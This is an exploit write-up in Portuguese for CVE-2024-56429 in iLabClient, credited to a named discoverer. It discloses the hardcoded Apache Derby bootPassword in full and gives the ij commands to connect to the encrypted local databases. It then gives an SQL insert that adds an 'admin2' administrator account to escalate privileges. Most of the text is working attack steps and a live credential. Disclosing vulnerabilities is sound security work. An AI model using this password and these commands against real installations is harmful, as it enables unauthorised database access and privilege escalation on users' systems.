
Exploit para CVE-2024-56429 demonstrando a extração da senha de inicialização do banco de dados Apache Derby do código-fonte do iLabClient, permitindo conexão local ao banco de dados e escalonamento de privilégios via manipulação de usuário.
Acesso ao banco de dados local do iLabClient
O iLabClient usa um banco de dados Apache Derby para armazenar os dados localmente necessários. Para garantir a criptografia, um bootPassword é usado na criação, que pode ser extraído do código-fonte (o código extraído está em DecyptedBootPassword.java). Após executar o código-fonte extraído, o usuário recebe o bootPassword.
jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==
Ao iniciar o iLabClient pela primeira vez, os dois bancos de dados locais iLabCLient e iLabDB são criados. Para conectar-se a esses bancos de dados, a ferramenta ij do Apache Derby pode ser usada, Baixar.
Iniciando ij:
"C:\ilabClient\java8u422\bin\java.exe" -jar "...\db-derby-10.14.2.0-lib\lib\derbyrun.jar" ij
"C:\ilabClient\java8u422\bin\java.exe": Versão Java instalada e usada do iLabClient
"...\db-derby-10.14.2.0-lib\lib\derbyrun.jar": Biblioteca Apache Derby
Conectar ao banco de dados:
cd "C:\ilabClient\db
connect 'jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
connect 'jdbc:derby:iLabDB;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
Uma vez que a conexão foi estabelecida, os dados podem ser lidos e manipulados. Por exemplo, adicionando outro usuário com mais direitos.
insert into users (USERID, BENUTZER, NAME, PARAMS, HASH) values (4, 'admin2', 'Administrator', '111111111111111111', 'SHA-256:B6382EC801B1BBD5C464C6A5F9C8CFFDC603A7D3A4916B1F50BD592678E8380B');
O hash necessário pode ser criado com a classe GenerateUserData.java.
Descobridor: Lisa Ulbrich (Lufthansa Industry Solutions AS GmbH)